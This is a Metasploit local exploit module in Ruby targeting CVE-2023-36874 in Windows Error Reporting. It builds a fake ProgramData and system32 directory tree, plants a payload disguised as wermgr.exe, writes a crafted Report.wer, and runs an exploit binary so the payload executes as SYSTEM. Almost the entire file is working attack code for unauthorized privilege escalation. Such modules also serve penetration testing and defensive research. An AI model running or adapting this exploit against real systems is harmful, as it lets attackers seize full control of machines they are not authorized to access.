##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Exploit::FileDropper
  include Msf::Post::Windows::Priv
  include Msf::Exploit::EXE

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Error Reporting Local Privilege Elevation Vulnerability',
        'Description' => %q{
          This module takes advantage of a bug in the way Windows error reporting opens the report
          parser.  If you open a report, Windows uses a relative path to locate the rendering program.
          By creating a specific alternate directory structure, we can coerce Windows into opening an
          arbitrary executable as SYSTEM.
          If the current user is a local admin, the system will attempt impersonation and the exploit will
          fail.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Filip Dragović (Wh04m1001)', # PoC
          'Octoberfest7', # PoC
          'bwatters-r7' # msf module
        ],
        'Platform' => ['win'],
        'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ],
        'Targets' => [
          [ 'Automatic', { 'Arch' => [ ARCH_X64 ] } ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-07-11',
        'References' => [
          ['CVE', '2023-36874'],
          ['URL', 'https://www.crowdstrike.com/blog/falcon-complete-zero-day-exploit-cve-2023-36874/'],
          ['URL', 'https://github.com/Wh04m1001/CVE-2023-36874'],
          ['URL', 'https://github.com/Octoberfest7/CVE-2023-36874_BOF']
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
              stdapi_sys_config_getenv
            ]
          }
        }
      )
    )

    register_options([
      OptString.new('EXPLOIT_NAME',
                    [true, 'The filename to use for the exploit binary (%RAND%.exe by default).', "#{Rex::Text.rand_text_alpha(6..14)}.exe"]),
      OptString.new('REPORT_DIR',
                    [true, 'The Error Directory to use (%RAND% by default).', Rex::Text.rand_text_alpha(6..14).to_s]),
      OptString.new('SHADOW_DRIVE',
                    [true, 'Directory to place in the home drive for pivot (%TEMP% by default).', Rex::Text.rand_text_alpha(6..14).to_s]),
      OptInt.new('EXECUTE_DELAY',
                 [true, 'The number of seconds to delay between file upload and exploit launch', 3])
    ])
  end

  # When we pass the directory value to the mkdir method, the mkdir method
  # passes the reference to the string containing the directory.
  # We do a lot of string manipulation in this module, so this is a quick
  # hack to make sure that despite what we do with the string after we create
  # the directory, it is  the actual directory we created that gets sent to
  # the cleanup methods.
  def clone_mkdir(dir)
    mkdir(dir.clone)
  end

  def upload_error_report
    wer_archive_dir = get_env('PROGRAMDATA')
    vprint_status(wer_archive_dir)
    wer_archive_dir << '\\Microsoft\\Windows\\WER\\ReportArchive'
    report_dir = "#{wer_archive_dir}\\#{datastore['REPORT_DIR']}"
    report_filename = "#{report_dir}\\Report.wer"
    vprint_status("Creating #{report_dir}")
    clone_mkdir(report_dir)
    wer_report_data = exploit_data('CVE-2023-36874', 'Report.wer')
    vprint_status("Writing Report to #{report_filename}")
    write_file(report_filename, wer_report_data)
  end

  def build_shadow_archive_dir(shadow_base_dir)
    wer_archive_dir = shadow_base_dir
    clone_mkdir(wer_archive_dir)
    wer_archive_dir << '\\ProgramData\\'
    clone_mkdir(wer_archive_dir)
    wer_archive_dir << 'Microsoft\\'
    clone_mkdir(wer_archive_dir)
    wer_archive_dir << 'Windows\\'
    clone_mkdir(wer_archive_dir)
    wer_archive_dir << 'WER\\'
    clone_mkdir(wer_archive_dir)
    wer_archive_dir << 'ReportArchive\\'
    clone_mkdir(wer_archive_dir)
    report_dir = "#{wer_archive_dir}#{datastore['REPORT_DIR']}"
    clone_mkdir(report_dir)
    return report_dir
  end

  def upload_shadow_report(shadow_archive_dir)
    report_filename = "#{shadow_archive_dir}\\Report.wer"
    wer_report_data = exploit_data('CVE-2023-36874', 'Report.wer')
    vprint_status("Writing bad Report to #{report_filename}")
    write_file(report_filename, wer_report_data)
  end

  def build_shadow_system32(shadow_base_dir)
    shadow_win32 = "#{shadow_base_dir}\\system32"
    vprint_status("Creating #{shadow_win32}")
    clone_mkdir(shadow_win32)
    return shadow_win32
  end

  def upload_payload(shadow_win32)
    payload_bin = generate_payload_exe
    payload_filename = "#{shadow_win32}\\wermgr.exe"
    vprint_status("Writing payload to #{payload_filename}")
    write_file(payload_filename, payload_bin)
  end

  def upload_execute_exploit(exploit_path, shadow_path, home_dir)
    vprint_status("shadow_path = #{shadow_path}")
    exploit_bin = exploit_data('CVE-2023-36874', 'CVE-2023-36874.exe')
    write_file(exploit_path, exploit_bin)
    sleep datastore['EXECUTE_DELAY']
    vprint_status("Exploit uploaded to #{exploit_path}")
    cmd = "#{exploit_path} #{shadow_path} #{home_dir} #{datastore['REPORT_DIR']}"
    output = cmd_exec(cmd, nil, 30)
    vprint_status(output)
  end

  def check
    # This only appears to work on 22H2, but likely will work elsewhere if we figure out the function pointers.
    version = get_version_info
    vprint_status("OS version: #{version}")
    return Exploit::CheckCode::Appears if version.build_number == Msf::WindowsVersion::Win10_22H2

    return Exploit::CheckCode::Safe
  end

  def exploit
    fail_with(Module::Failure::BadConfig, 'User cannot be local admin') if is_in_admin_group?
    fail_with(Module::Failure::BadConfig, 'Already SYSTEM') if is_system?
    shadow_dir = datastore['SHADOW_DRIVE']
    home_dir = get_env('HOMEDRIVE')
    shadow_path = "#{home_dir}\\#{shadow_dir}"
    vprint_status("Shadow Path = #{shadow_path}")
    upload_error_report
    shadow_archive_dir = build_shadow_archive_dir(shadow_path.dup)
    upload_shadow_report(shadow_archive_dir)
    shadow_system32 = build_shadow_system32(shadow_path.dup)
    upload_payload(shadow_system32)
    sleep datastore['EXECUTE_DELAY']
    exploit_path = "#{shadow_path}\\#{datastore['EXPLOIT_NAME']}"
    exploit_path << '.exe' unless exploit_path[-4..] == '.exe'
    if shadow_dir.length > 64
      fail_with(Module::Failure::BadConfig, 'REPORT_DIR value too long')
    end
    upload_execute_exploit(exploit_path, shadow_dir, home_dir)
    print_warning("Manual deletion of #{shadow_path} may be required")
  end
end
